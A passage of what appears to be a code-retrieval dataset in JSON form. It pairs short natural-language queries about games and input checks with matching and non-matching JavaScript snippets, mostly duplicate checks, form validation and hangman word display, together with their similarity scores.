}\\n}\",\n \"checkIfUnique(name, value, signal) {\\n if (name === 'password' || name === 'confirmPassword') return;\\n return this.getAll(signal)\\n .then(users => {\\n return users.find(user => user[name] === value)\\n })\\n .then(user => {\\n let message = '';\\n if (user !== undefined){\\n message = `This ${name} has already been used.`; \\n } \\n return this.setError(name, message); \\n });\\n }\",\n \"function checkDuplicate()\\n {\\n var found = false;\\n for (var i = 0; i < $scope.list.length; i++)\\n {\\n if ($scope.list[i].item == $scope.item)\\n {\\n found = true;\\n }\\n }\\n return found;\\n }\",\n \"function areThereDuplicates() {\\n let args = [...arguments];\\n const argsList = {}\\n for(let i = 0; i< args.length; i++){\\n let currentArg = args[i];\\n argsList[currentArg] ? argsList[currentArg] += 1: argsList[currentArg] = 1\\n }\\n for (let two in argsList) {\\n if (argsList[two] > 1) {\\n return true;\\n }\\n }\\n return false;\\n}\",\n \"handleSubmit(e) {\\n e.preventDefault();\\n let firstValue, secondValue;\\n const [firstInput, secondInput] = e.target.elements;\\n firstValue = firstInput.value.trim().split(' ').join('');\\n secondValue = secondInput.value.trim().split(' ').join('');\\n\\n this.checkValues(firstValue,secondValue);\\n\\n firstInput.value = '' ;\\n secondInput.value = '' ;\\n firstInput.focus();\\n\\n }\",\n \"function checkEntry() {\\n while (typeof sticksToRemove !== \\\"number\\\" ||\\n Math.trunc(sticksToRemove) !== sticksToRemove ||\\n sticksToRemove < 1 ||\\n sticksToRemove > Math.min(3, stickCount)) {\\n sticksToRemove = parseInt(prompt(\\\"Invalid entry. \\\" + players[0] + \\\", how many sticks do you want to remove? (1-3)\\\"));\\n }\\n}\",\n \"function checkDupe(data,x){\\n\\n if(idArray.includes(data[x][0])){\\n return false;\\n } else { return true; }\\n\\n}\",\n \"function areThereDuplicatesBonus(...args) {\\n args.sort();\\n let j = 1;\\n let i = 0;\\n while(j !== args.length){\\n if(args[j] !== args[i]){\\n i++;\\n j++;\\n } else {\\n return true;\\n }\\n }\\n return false;\\n}\",\n \"function areThereDuplicates() {\\n return new Set(arguments).size !== arguments.length;\\n }\",\n \"function areThereDuplicates() {\\n return new Set(arguments).size !== arguments.length;\\n }\",\n \"function validateSkillSelections(){\\n // if there are errors clear them here, we'll replace them if they aren't fixed\\n $('.skills_section .validation_error').remove();\\n var $skills = $(\\\".skill_selector\\\");\\n var result = true;\\n console.log(`Starting skill validation. Result: ${result}`);\\n for(let j = 0; j < $skills.length; j++){\\n for(let i = $skills.length - 1; i > j; i--){\\n if( $($skills[j]).val() === $($skills[i]).val()){\\n // Two skills are the same, fire an error message\\n console.log(\\\"two skills are the same!!!!\\\");\\n result = false;\\n let skillType = $skills[j].id.slice(0, $skills[j].id.lastIndexOf(\\\"_\\\"));\\n if ($(`.skills_section .${skillType}_error`).length < 1){\\n insertValidationError(`.${skillType}_list`, skillType, \\\"You cannot choose the same skill more than once\\\"); \\n }\\n }\\n }\\n }\\n console.log(`Ending skill validation. Result: ${result}`);\\n return result;\\n }\",\n \"function checkGuess () {\\n var isItRepeated = $guessed.includes($guess);\\n if (isItRepeated === true) {\\n alreadyGuessed = true;\\n } else {\\n alreadyGuessed = false;\\n }\\n }\",\n \"addStudent(newStudent) {\\n let foundDuplicates = studentsFullList.filter(student => {\\n return student.name.includes(newStudent.name) == true || student.email.includes(newStudent.email) == true\\n });\\n if (foundDuplicates.length > 0) {\\n console.log(`Student already added`);\\n } else {\\n studentsFullList.push(newStudent);\\n }\\n return {\\n newStudent,\\n studentsFullList\\n }\\n }\",\n \"function isValid(guess) {\\n return !hasDuplicates(guess)\\n}\",\n \"function validateUsers(e) {\\n let username = e.target.name.value;\\n let pin = e.target.pin.value;\\n console.log(username, pin);\\n let x = sortedUsers.find((user) => user.username === username);\\n if (x != undefined) {\\n x.pin === pin ? exitSignIn(x) : alert(\\\"incorrect password\\\");\\n } else {\\n console.log(\\\"at else Existing User\\\");\\n alert(\\\"invalid input, try again\\\");\\n }\\n }\",\n \"function theGuess(userInput) {\\n //if the user guessed correctly....\\n if (userInput === theLetter) {\\n winCounter++;\\n lettersGuessed.length = 0;\\n guessesRemaining = 8;\\n newLetter();\\n printWin();\\n printLetters();\\n printGuesses();\\n winCheck();\\n //if the user guessed incorrectly and that letter has not already been guessed....\\n } else if (lettersGuessed.includes(userInput) === false) {\\n console.log(`User entered ${userInput}`);\\n lettersGuessed.push(userInput);\\n guessesRemaining--;\\n printGuesses();\\n printLetters();\\n }\\n gameCheck();\\n}\",\n \"function checkInputField(event) {\\n if (event.keyCode == 13 && players.length < maxPlayerNumber) {\\n AddPlayer();\\n }\\n}\",\n \"function validActivityInput(){\\n let activity = [];\\n const activityError = \\\"At least one activity must be selected
\\\";\\n $('.activities label input').each((index, element) => {\\n activity.push(element.checked);\\n })\\n if (activity.indexOf(true) === -1 && $('.activityWarning').length === 0){\\n $('.activities').after(activityError);\\n }\\n if (activity.indexOf(true) !== -1 && $('.activityWarning').length > 0){\\n $('.activityWarning').remove();\\n }\\n}\",\n \"function checkInput(name,key)\\n{\\n if (name.match(/^\\\\s*$/)) //checks that roomane is not empty/contain only whitespace\\n {\\n window.alert(\\\"Room Name Can't Be Empty\\\");\\n return false;\\n }\\n else if (key.match(/^\\\\s*$/)) //check that room key is not empty/contain only whitespace\\n {\\n window.alert(\\\"Room Key Can't Be Empty\\\");\\n return false;\\n }\\n else\\n {\\n return true;\\n }\\n}\",\n \"function playersGuessSubmission() {\\n playersGuess = $(\\\"#guessInput\\\").val();\\n \\n $(\\\"#yourGuess\\\").text(\\\"Your guess was \\\" + playersGuess + \\\".\\\");\\n \\n \\t$(\\\"#guessInput\\\").val(\\\"\\\").focus();\\n if (checkGuess()==false){\\n $(\\\"#compare\\\").text(lowerOrHigher());\\n if (guessHistory.indexOf(playersGuess)!== -1){\\n \\t\\t$(\\\"#yourGuess\\\").append(\\\" You've tried that before!\\\"); \\t\\t \\n \\t\\t}\\n \\t}\\n \\tguessHistory.push(playersGuess);\\n \\t\\n}\",\n \"function uniqueValues(value) {\\n if (arr1.includes(value) && arr2.includes(value)) {\\n console.log(\\\"dupe\\\") \\n } else {\\n return value;\\n }\\n }\",\n \"validateAnItem(item) {\\n let errors = [];\\n if (_.find(this.state.items, {sequenceName: item.sequenceName})) {\\n errors.push(\\\"There's already a sequence with this name\\\");\\n }\\n if (_.find(this.state.items, {sequence: item.sequence})) {\\n errors.push(\\\"There's already another entry for this sequence\\\");\\n }\\n if (item.sequenceName === \\\"\\\") {\\n errors.push(\\\"Name is required\\\");\\n }\\n if (item.sequenceDescription === \\\"\\\") {\\n errors.push(\\\"Description is required\\\");\\n }\\n if (item.sequence === \\\"\\\") {\\n errors.push(\\\"Sequence is required\\\");\\n } \\n // We only need the first occurance of a non-allowed letter, so .search makes sense here\\n let nonDNA = item[\\\"sequence\\\"].search(/[^ATCG]/g);\\n if (nonDNA !== -1) {\\n errors.push(`Non-DNA character found at position ${nonDNA}`);\\n }\\n return errors;\\n }\",\n \"function duplicateInputFieldMessage(fieldName) {\\n return \\\"There can be only one input field named \\\\\\\"\\\".concat(fieldName, \\\"\\\\\\\".\\\");\\n}\",\n \"checkDupe() {\\n let occurrences = this.props.occurrences;\\n let habit = this.state.currentHabit;\\n let time = JSON.parse(JSON.stringify(this.state.habitTime));\\n let quantity = this.state.quantity;\\n let found = false;\\n\\n occurrences.forEach(item => {\\n if (item.timestamp.slice(0, 10) === time.slice(0, 10)) {\\n found = true;\\n }\\n });\\n\\n if (found) {\\n alert('Please make any updates to existing logs by updating your table');\\n } else {\\n this.props.logHabit(habit, time, quantity);\\n }\\n }\",\n \"function checkIndivDupe() {\\n var firstInstance = true;\\n var dupeCount = 0;\\n \\n var validUserRows = validUserSheet.getLastRow() + 1;\\n for (var row = 1; row < validUserRows; row++) {\\n if (validUserSheet.getRange(row, 6).getValue() == userEmail) {\\n if (firstInstance) {\\n isIndivDupe = true;\\n //get original batch ID\\n origBatchId = validUserSheet.getRange(row, 2).getValue();\\n origUID = validUserSheet.getRange(row, 3).getValue();\\n origUserFirst = validUserSheet.getRange(row, 4).getValue();\\n origUserLast = validUserSheet.getRange(row, 5).getValue();\\n origUserEmail = validUserSheet.getRange(row, 6).getValue();\\n origUserOrg = validUserSheet.getRange(row, 7).getValue();\\n firstInstance = false;\\n }\\n //increment duplicate count\\n dupeCount++;\\n }\\n }\\n \\n Logger.log('This a duplicate 1: ' + isIndivDupe);\\n Logger.log('The original Batch ID is: ' + origBatchId);\\n \\n if (isIndivDupe) {\\n //get info about original submission using original batch ID\\n \\n var logSheetRows = logSheet.getLastRow() + 1;\\n for (var logRow = 1; logRow < logSheetRows; logRow++) {\\n if (logSheet.getRange(logRow, 3).getValue() == origBatchId) {\\n origRespFirst = logSheet.getRange(logRow, 4).getValue();\\n origRespLast = logSheet.getRange(logRow, 5).getValue();\\n origRespName = origRespFirst + ' ' + origRespLast;\\n origRespEmail = logSheet.getRange(logRow, 6).getValue();\\n origTime = logSheet.getRange(logRow, 1).getValue();\\n origTime = Utilities.formatDate(origTime, ss.getSpreadsheetTimeZone(), \\\"M/d/yy 'at' h:mm a\\\");\\n }\\n }\\n \\n }\\n \\n }\",\n \"function checkDuplicates(args) {\\n const check = {}\\n\\n for (let val of args) {\\n check[val] = (check[val] || 0) + 1\\n }\\n\\n for (let key in check) {\\n if (check[key] > 1) return true\\n }\\n\\n return false\\n}\",\n \"function isDuplicates (alphabet) {\\n let array = [];\\n for (let i = 0; i < alphabet.length; i++) {\\n if (array.includes (alphabet[i])) {\\n return true;\\n }\\n array.push (alphabet[i]);\\n }\\n return false;\\n }\",\n \"function chkAns(){\\n\\tif(usrGss % 1 !== 0){\\n\\t\\t//feedback when your user uses only text chars not number\\n\\t\\t$(\\\"#newFdbk\\\").text(\\\"please input only numbers\\\");\\n\\t\\treturn true;\\n\\t}\\n\\tif(usrGss < 0 || usrGss > 101){\\n\\t\\t//feedback to the user if they use numbers beyond 100 o negative numbers\\n\\t\\t$(\\\"#newFdbk\\\").text('Try a number between 0 and 100');\\n\\t\\treturn true;\\n\\t}\\n\\tif(gssHsty.length > 0){\\n\\t\\t$.each(gssHsty,function(guess,value){//loop through the entire guess history array to look for any number that has been repated by the user guess\\n\\t\\t\\tif(usrGss == value){//compare the equality of each value in the array\\n\\t\\t\\t\\tgssed = true;//set taht guessed value to true\\n\\t\\t\\t}\\n\\t\\t}); \\n\\t}\\n\\tif(gssed){//here we evaluate the guessed number previusly found as a repeated number input by the user\\n\\t\\tgssed = false;\\n\\t\\t//if the user repeats any number, they will get this feedback\\n\\t\\t$(\\\"#newFdbk\\\").text('You already used this number');\\n\\t\\treturn true;\\n\\t}\\nreturn false;\\n}\",\n \"submitWord(event) {\\n event.preventDefault();\\n let word = document.getElementById('inputBox').value.toLowerCase();\\n document.getElementById('inputBox').value = '';\\n if(/^[a-zA-Z]+$/.test(word)) {\\n let submittedWords = this.state.submittedWords;\\n if (!submittedWords.includes(word)) {\\n answer(word);\\n }\\n }\\n }\",\n \"function isDuplicate(str) {\\n for (i = 0; i < guessesSoFarArray.length; i++) {\\n if (str === guessesSoFarArray[i]) {\\n return true;\\n } else { }\\n } // end of for loop\\n return false;\\n} // end of isDuplicate()\",\n \"function validateLetter (usersKeypress) {\\n message.innerText = \\\"\\\";\\n\\n var repeatGuess = lettersGuessed.some(function(item){\\n return item === usersKeypress;\\n })\\n\\n //alert player if the above code is true.\\n if (repeatGuess) {\\n //alert(usersKeypress + \\\" already guessed. Try again!\\\");\\n message.innerHTML = \\\"Already guessed that. Try again!\\\";\\n\\n //if it is not a repeat guess, check if it's in word\\n } else {\\n lettersGuessed.push(usersKeypress);\\n console.log(\\\"Guessed so far\\\", lettersGuessed);\\n\\n //show user's input in browser\\n showLettersGuessed();\\n //is user's input a match to computer guess\\n guessMatch(usersKeypress);\\n }\\n\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6776648","0.67727125","0.66299736","0.64909345","0.62932765","0.62074447","0.61125845","0.61001307","0.6071562","0.6062199","0.6048642","0.5961513","0.59330827","0.59151876","0.5910981","0.5858354","0.58479273","0.58370197","0.5829865","0.58098704","0.57894814","0.577449","0.5748707","0.5742362","0.5735819","0.572044","0.5695264","0.5693701","0.5689143","0.56772125","0.5675341","0.56751996","0.56732976","0.5665424","0.5658478","0.5655355","0.5655355","0.5655355","0.5655355","0.5655355","0.5655355","0.5650393","0.56454456","0.5632972","0.5629295","0.56286573","0.56095225","0.5609218","0.56085","0.5604083","0.5599149","0.559753","0.5587143","0.55821866","0.5578315","0.5575688","0.5560459","0.5558458","0.5557009","0.5556425","0.55512094","0.5547732","0.5547191","0.55363953","0.553545","0.55337113","0.5528192","0.5524857","0.5522517","0.55121654","0.5494889","0.5481663","0.54797167","0.5478386","0.5476596","0.5470685","0.5467913","0.5466791","0.54597807","0.54597807","0.54582435","0.5456269","0.5444514","0.54408574","0.543818","0.54371667","0.5437087","0.5437069","0.5435257","0.54322916","0.54293406","0.5428722","0.54264706","0.542628","0.542251","0.5415247","0.5413435","0.54026014","0.54004085","0.5400377","0.5399994"],"string":"[\n \"0.6776648\",\n \"0.67727125\",\n \"0.66299736\",\n \"0.64909345\",\n \"0.62932765\",\n \"0.62074447\",\n \"0.61125845\",\n \"0.61001307\",\n \"0.6071562\",\n \"0.6062199\",\n \"0.6048642\",\n \"0.5961513\",\n \"0.59330827\",\n \"0.59151876\",\n \"0.5910981\",\n \"0.5858354\",\n \"0.58479273\",\n \"0.58370197\",\n \"0.5829865\",\n \"0.58098704\",\n \"0.57894814\",\n \"0.577449\",\n \"0.5748707\",\n \"0.5742362\",\n \"0.5735819\",\n \"0.572044\",\n \"0.5695264\",\n \"0.5693701\",\n \"0.5689143\",\n \"0.56772125\",\n \"0.5675341\",\n \"0.56751996\",\n \"0.56732976\",\n \"0.5665424\",\n \"0.5658478\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5655355\",\n \"0.5650393\",\n \"0.56454456\",\n \"0.5632972\",\n \"0.5629295\",\n \"0.56286573\",\n \"0.56095225\",\n \"0.5609218\",\n \"0.56085\",\n \"0.5604083\",\n \"0.5599149\",\n \"0.559753\",\n \"0.5587143\",\n \"0.55821866\",\n \"0.5578315\",\n \"0.5575688\",\n \"0.5560459\",\n \"0.5558458\",\n \"0.5557009\",\n \"0.5556425\",\n \"0.55512094\",\n \"0.5547732\",\n \"0.5547191\",\n \"0.55363953\",\n \"0.553545\",\n \"0.55337113\",\n \"0.5528192\",\n \"0.5524857\",\n \"0.5522517\",\n \"0.55121654\",\n \"0.5494889\",\n \"0.5481663\",\n \"0.54797167\",\n \"0.5478386\",\n \"0.5476596\",\n \"0.5470685\",\n \"0.5467913\",\n \"0.5466791\",\n \"0.54597807\",\n \"0.54597807\",\n \"0.54582435\",\n \"0.5456269\",\n \"0.5444514\",\n \"0.54408574\",\n \"0.543818\",\n \"0.54371667\",\n \"0.5437087\",\n \"0.5437069\",\n \"0.5435257\",\n \"0.54322916\",\n \"0.54293406\",\n \"0.5428722\",\n \"0.54264706\",\n \"0.542628\",\n \"0.542251\",\n \"0.5415247\",\n \"0.5413435\",\n \"0.54026014\",\n \"0.54004085\",\n \"0.5400377\",\n \"0.5399994\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":12,"cells":{"query":{"kind":"string","value":"displays the word at end of game"},"document":{"kind":"string","value":"function displayWord(hangmanWord) {\n\tvar showWord = \"\";\n\tfor (var i = 0; i < hangmanWord.correctLettersGuessed.length; i++) {\n\t\tshowWord += hangmanWord.correctLettersGuessed[i].letterGuessed;\n\t}\n\treturn showWord;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function DisplayWord() {\n\tvar wordToPrint : String;\n\tvar hWord : GameObject;\n\t//var offset : float;\n\tswitch(this.kana) {\n\t\tcase \"a\":\n\t\t\twordToPrint = \"あ り\";\n\t\tbreak;\n\t\t\n\t\tcase \"i\":\n\t\t\twordToPrint = \"い な ず ま\";\n\t\tbreak;\n\t\t\n\t\tcase \"u\":\n\t\t\twordToPrint = \"う さ ぎ\";\n\t\tbreak;\n\t\t\t\t\t\n\t\tcase \"e\":\n\t\t\twordToPrint = \"え ん\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"o\":\n\t\t\twordToPrint = \"お す\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ka\":\n\t\t\twordToPrint = \"か た な\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ki\":\n\t\t\twordToPrint = \"き り か ぶ\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ku\":\n\t\t\twordToPrint = \"く さ り\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ke\":\n\t\t\twordToPrint = \"け る\";\n\t\tbreak;\n\t\t\t\n\t\tcase \"ko\":\n\t\t\twordToPrint = \"こ ぶ し\";\n\t\tbreak;\n\t\t\n\t\tdefault:\n\t\t\t;\n\t\t\t\t\n\t}\n\t//hWord = Instantiate(this.word, this.player.transform.position, Quaternion.identity);\n\t//offset = .005 * wordToPrint.Length;\n\thWord = Instantiate(this.word, new Vector3(0.45, 0.6, -8), Quaternion.identity);\n\thWord.guiText.text = wordToPrint;\n}","function dashes(){\r\n document.getElementById('word').innerHTML = '';\r\n for (var i = 0; i < guesses.length; i++)\r\n document.getElementById('word').innerHTML += guesses[i] + ' ';\r\n document.getElementById('start').style.visibility = \"hidden\";\r\n}","function handleText() {\n if (index < text.length) {\n id(\"output\").innerText = \"\";\n let curWord = text[index];\n id(\"output\").innerText = curWord;\n index++;\n } else {\n endGame();\n }\n }","function showWord(word) {\n var i;\n for (i = 0; i < word.length; i ++) {\n process.stdout.write(word[i]);\n }\n playAgain();\n}","function displayNextWordFor(objectName){\n\tvar obj = HangMan[objectName];\n\tHangMan.gameReady = true;\n\tobj.word = obj.words[Math.floor(Math.random() * obj.words.length)].toLowerCase();\n\tobj.lives = 10;\n\tobj.guesses = [];\n\tobj.trueg = [];\n\tfor ( i = 0 ; i < obj.word.length ; i++ ){obj.trueg.push('0')};\n\tobj.falseg = [];\n\tloadObject(objectName);\n}","function displayWord(word, words, firstRound) {\n\t\tconsole.log(\"currWord: \" + word);\n\t\tdocument.getElementById(\"currWord\").innerHTML = word;\n\t\tvar currChar = 0;\n\n\t\tvar wordLength = word.length;\n\n\t\t$('#currWord').on('click', function() {\n\t\t\tif (firstRound) {\n\t\t\t\t$('#typeDummy').toggleClass('highlight');\n\t\t\t}\n\t\t})\n\n\t\t//when the user types a key\n\t\tdocument.onkeypress = function(evt) {\n\t\t\tif (!gameOver) {\n\t\t\t\tif (evt.keyCode == 8) {\n\t\t\t\t \tevt.preventDefault();\n\t\t\t\t}\t\t\n\t\t\t evt = evt || window.event;\n\t\t\t var charCode = evt.which || evt.keyCode;\n\t\t\t var charTyped = String.fromCharCode(charCode);\n\n\t\t\t if ((charCode == 39) || (charCode <= 122 && charCode >= 97)) {\n\t\t\t\t if (charCode == word.charCodeAt(currChar)) {\n\t\t\t\t \tcurrChar++;\n\t\t\t\t \tdocument.getElementById(\"currWord\").innerHTML = \"\"\n\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t + word.substring(0,currChar) + \"\"\n\t\t\t\t \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t + word.substring(currChar, wordLength);\n\t\t\t\t } else {\n\t\t\t\t \tmistakeCount++;\n\t\t\t\t \tif (mistakeCount < 8) {\n\t\t\t\t\t \t$(\"#misses\").html( $(\"#misses\").html() + \"X\" );\n\t\t\t\t \t} else {\n\t\t\t\t \t\t$(\"#misses\").html(mistakeCount);\n\t\t\t\t \t}\n\t\t\t\t }\n\t\t \t}\n\n\t\t \t//once the user has fully typed the word\n\t\t\t if (currChar == wordLength) {\n\t\t\t \tif (firstRound) {\n\t\t\t \t\tstartGame();\n\t\t\t \t} else {\n\t\t\t \t\twordCount++;\n\t\t\t \t\trando = words[Math.floor(Math.random() * words.length)];\n\t\t\t \t\tdisplayWord(rando, words, false);\n\t\t\t \t}\n\t\t\t }\n\t\t }\n\t\t};\n\t}","function final(any) {\n element.wordGuess.textContent = string[any]; // will show win or lose string property\n sound[any].play(); //will play win or lose sound\n score[any]++; //will increment win or lose score\n update(); \n setTimeout(function () { //timer so that you can enjoy the music and strings\n reset();\n }, 2000);\n }","function displayWord(myword, desc){\r\n let display = \"\";\r\n for(let i = 0; i < myword.length; i++){\r\n if(i != myword.length - 1){\r\n display += myword.charAt(i) + \" \";\r\n } else {\r\n display += myword.charAt(i);\r\n }\r\n }\r\n document.getElementById(\"display\").innerHTML = display;\r\n document.getElementById(\"desc\").innerHTML = desc;\r\n}","function Display(){\n document.getElementById(\"wins\").textContent = countWins;\n document.getElementById(\"dispWord\").textContent = dispWord;\n document.getElementById(\"guessesLeft\").textContent = 12 - countGuesses;\n document.getElementById(\"lettersGuessed\").textContent = lettersGuessed;\n console.log(\"Random word is: \" + guessWord);\n}","function endWord() {\n var stringDisplay = \"\"\n globalList.forEach(function(item){\n stringDisplay += item\n document.querySelector(\"#applyGuess\").innerHTML = stringDisplay.toUpperCase()\n document.querySelector(\"#endWord\").innerHTML = \"Word Was:\"\n })\n}","function reveal(guess) {\n for (var z = 0; z < word.length; z++) {\n if (word[z] == guess) {\n context.fillText(word[z], (100 + (z * 20)), 490);\n lettersRemaining--;\n console.log(\"reveal: \" + lettersRemaining);\n }\n }\n }","function showWord(words)\r\n{\r\n\t//generate random array index\r\n\tconst randIndex=Math.floor(Math.random() * words.length);\r\n\t//output random word\r\n\tcurrentWord.innerHTML=words[randIndex];\r\n}","function showword(words){\n const randindex = Math.floor(Math.random() * words.length);\n\n //output random word\n currentword.innerHTML = words[randindex];\n}","function displayLetter(myword, letter, word){ // by jaguar\r\n let display = \"\";\r\n let mywordarr = myword.split(\"\")\r\n for(let i = 0; i < myword.length; i++){\r\n if(i != myword.length){\r\n if(letter === word.charAt(i)){\r\n display = display + letter + \" \";\r\n mywordarr[i] = letter\r\n } else {\r\n display += myword.charAt(i) + \" \";\r\n }\r\n } else {\r\n display += myword.charAt(i);\r\n }\r\n }\r\n displayed = mywordarr.join(\"\")\r\n document.getElementById(\"display\").innerHTML = display;\r\n checkWincondition(display, word)\r\n}","function updateDisplay(wordArray, midGame) {\n // let wordJoin = wordArray.join(\" \");\n document.getElementById(\"guess-word\").innerHTML = wordArray.join(\" \");\n if (midGame !== undefined) {\n document.getElementById(\"letters-guessed\").innerHTML = \"Letters guessed: \" + midGame.join(\", \");\n document.getElementById(\"guess-remain\").innerHTML = \"Guesses left: \" + parseInt(numGuesses - midGame.length);\n document.getElementById(\"hangman-graphic\").innerHTML = hangdood[midGame.length];\n }\n else {\n document.getElementById(\"letters-guessed\").innerHTML = \"Letters guessed: \";\n document.getElementById(\"guess-remain\").innerHTML = \"Guesses left: \" + numGuesses;\n }\n }","function renderNewWord() {\n\n // random word generator\n var random = Math.floor(Math.random() * wordLength.length);\n\n // get a random word and clear the string display\n let word = wordLength[random];\n wordDisplayString.innerHTML = \"\";\n\n // for each character in the word array create a 1 char span\n word.split(\"\").forEach(character => {\n const characterSpan = document.createElement(\"span\");\n characterSpan.innerText = character;\n wordDisplayString.appendChild(characterSpan);\n })\n\n // set input to null and focus it\n wordInput.value = null;\n wordInput.focus();\n }","function showWord(words) {\r\n const randIndex = Math.floor(Math.random() * words.length);\r\n currentWord.innerHTML = words[randIndex];\r\n }","displayWordInfo() {\r\n this.displayHangman();\r\n this.displayLives();\r\n this.displayLetters();\r\n this.displayLettersToGuess();\r\n }","function showWord(words) {\n const randIndex = Math.floor(Math.random() * words.length);\n currentWord.innerHTML = words[randIndex];\n}","function displayNextLevel() {\r\n getWord(level);\r\n encryptGameWord();\r\n writeEncryptedWord();\r\n writeGameInfo();\r\n toggleGameElements();\r\n startTimer(80);\r\n $(\"#user-word\").focus();\r\n }","function renderGame() {\n // Set a random word\n randomNumber = Math.floor(Math.random() * 21); \n currentWord = wordArray[randomNumber][0];\n console.log(\"currentWord\", currentWord);\n\n if (currentWord.length < 8) {\n guessesLeft = currentWord.length + 3;\n // console.log(\"guessesLeft\", guessesLeft);\n } else {\n guessesLeft = 8;\n }\n\n lettersGuessed = [];\n // console.log(\"lettersGuessed\", lettersGuessed);\n dashArr = [];\n\n\n\n\n splitArr = currentWord.toLowerCase().split('');\n // console.log(\"splitArr\", splitArr);\n\n // Check the length of word and render dashes\n // Check for spaces\n splitArr.map(index => {\n if (index === \" \") {\n dashArr.push(' ');\n }\n\n else {\n dashArr.push('-');\n }\n })\n\n // console.log(\"dashArr\", dashArr);\n\n displayWord = dashArr.join('');\n\n // console.log(\"displayWord\", displayWord);\n\n document.querySelector(\"#display-word\").innerHTML = displayWord.toUpperCase();\n document.querySelector(\"#display-wins\").innerHTML = wins;\n document.querySelector(\"#display-losses\").innerHTML = losses;\n document.querySelector(\"#display-guesses-left\").innerHTML = guessesLeft;\n document.querySelector(\"#display-image\").src = \"./assets/images/finnandjake.png\";\n document.querySelector(\"#display-letters-guessed\").innerHTML = lettersGuessed;\n document.querySelector(\"#instructions\").innerHTML = \"Guess A Letter To Get Started!\" ;\n\n\n\n}","function endWin(word) {\n console.log(\"You win. The word was:\");\n showWord(word);\n}","function hangman(){\n var x = word.length;\n var y = x-1;\n var spaces = 0;\n while (x>0){\n numChar++;\n var letter = word.substring(y,x);\n if(letter === \" \"){\n document.getElementById('letter'+x).innerHTML = \" \";\n document.getElementById('letter'+x).style.visibility = \"hidden\";\n document.getElementById('letter'+x).style.display = \"block\";\n document.getElementById('underline'+x).style.display = \"block\";\n spaces++;\n }\n else{\n document.getElementById('letter'+x).innerHTML = letter;\n document.getElementById('letter'+x).style.visibility = \"hidden\";\n document.getElementById('underline'+x).style.display = \"block\"; \n document.getElementById('underline'+x).style.borderBottom = \"3px solid white\";\n }\n x--;\n y--;\n }\n wordLength = word.length - spaces;\n document.getElementById('gamePage').style.display = \"block\";\n\n}","function drawboard(location, word) {\n for (var i = 0; i < word.length; i++) {\n context.fillText('_ ', (location[0] + i * 20), location[1]);\n }\n }","function showText() {\n $(\"#textDisplay\").empty();\n $(\"#instructions\").empty();\n randomWords = [];\n for (var i = 0; i < wordCount; i++) {\n var ranWord = wordList[Math.floor(Math.random() * wordList.length)];\n if (wordList[wordList.length - 1] !== ranWord || wordList[wordList.length - 1] === undefined) {\n randomWords.push(ranWord);\n }\n }\n randomWords.forEach(function(word){\n $(\"#textDisplay\").append($(\"\",{\"text\": word + \" \",\"class\":\"word\"}));\n });\n textDisplay.firstChild.classList.add(\"highlightedWord\")\n }","function showWord(words) {\n // Generate random array index\n const randIndex = Math.floor(Math.random() * words.length);\n // Output the random word\n currentWord.innerHTML = words[randIndex];\n}","function currentWordDisplay() {\n var activeCharacterDisplay = document.querySelector(\"#activeCharacterDisplay\");\n activeCharacterDisplay.textContent = answerArray.join(\" \");\n}","function showWord(words){\r\n// generate random array index//\r\nconst randIndex =math.floor(math.random() * words.length);\r\n// output random words//\r\ncurrentWord.innerHTML = words[randIndex];\r\n}","function right() {\r\n //if guess is correct\r\n //keep checking if to see if there is another space for the same letter\r\n for (var j = 0; j < underScore.length; j++) {\r\n if (word[j] === guess) {\r\n underScore[j] = guess;\r\n var blank = \"\" + underScore.join(\" \") + \"
\";\r\n document.getElementById(\"blank\").innerHTML = blank;\r\n }\r\n //hide and show you win div\r\n if (underScore.join(\"\") === word) {\r\n winMessage.show();\r\n direct.hide();\r\n }\r\n }\r\n}","function displayLetters(guess){\n\t\tfor (var i=0;i {currentWord.innerHTML = words[0][randIndex]}, 200)\r\n}","function updateDisplay() {\n document.getElementById(\"counterWins\").innerText = wins;\n var guessingWordText = \"\";\n for (var i = 0; i < guessingWord.length; i++) {\n guessingWordText += guessingWord[i];\n }\n document.getElementById(\"currentWord\").innerText = guessingWordText;\n document.getElementById(\"counterLives\").innerText = remainingGuesses;\n document.getElementById(\"counterGuessed\").innerText = guessedLetters;\n}","function lose() {\n gameEnd.css('display', 'block');\n endParagraph.html(`Being eaten alive by the bugs probably hurt. You gathered ${points} ${points == 1 ? 'point' : 'points'} before that happened.`);\n}","function underline(){\r\n\r\n underscore = [];\r\n for(let i=0;i 0) {\n wins++;\n var showWins = document.getElementById(\"wins\");\n showWins.innerHTML = wins;\n }\n }\n}","function updateDisplay() {\n\n document.getElementById(\"totalWins\").innerText = wins;\n document.getElementById(\"totalLosses\").innerText = losses;\n\n // Display how much of the word we've already guessed on screen.\n var guessWordText = \"\";\n for (var i = 0; i < guessWord.length; i++) {\n guessWordText += guessWord[i];\n }\n\n //\n document.getElementById(\"currentWord\").innerText = guessWordText;\n document.getElementById(\"lifePoints\").innerText = lifePoints;\n document.getElementById(\"guessedLetters\").innerText = guessedLetters;\n}","displayLetters() {\r\n let wordHidden = \"\\n\";\r\n for (let i = 0; i < this.text.length; i++) {\r\n if (this.lettersToGuess.includes(this.text.charAt(i))) {\r\n wordHidden += HangmanUtils.symbol;\r\n }\r\n else {\r\n wordHidden += this.text.charAt(i);\r\n }\r\n wordHidden += \" \";\r\n }\r\n console.log(wordHidden);\r\n }","function displayGame() {\n getAnimal();\n animalType.innerHTML = gameAnimalType;\n animalToGuess.innerHTML = handleGameWord(gameAnimalExample);\n document.getElementById(\"guess\").focus();\n document.getElementById(\"guess\").select();\n wordWrapper.classList.remove(\"vis-hidden\");\n }","function newGame() {\n gameStart = true\n clearOut();\n ransomdomize();\n createSpan();\n \n //console.log(chosenWord); 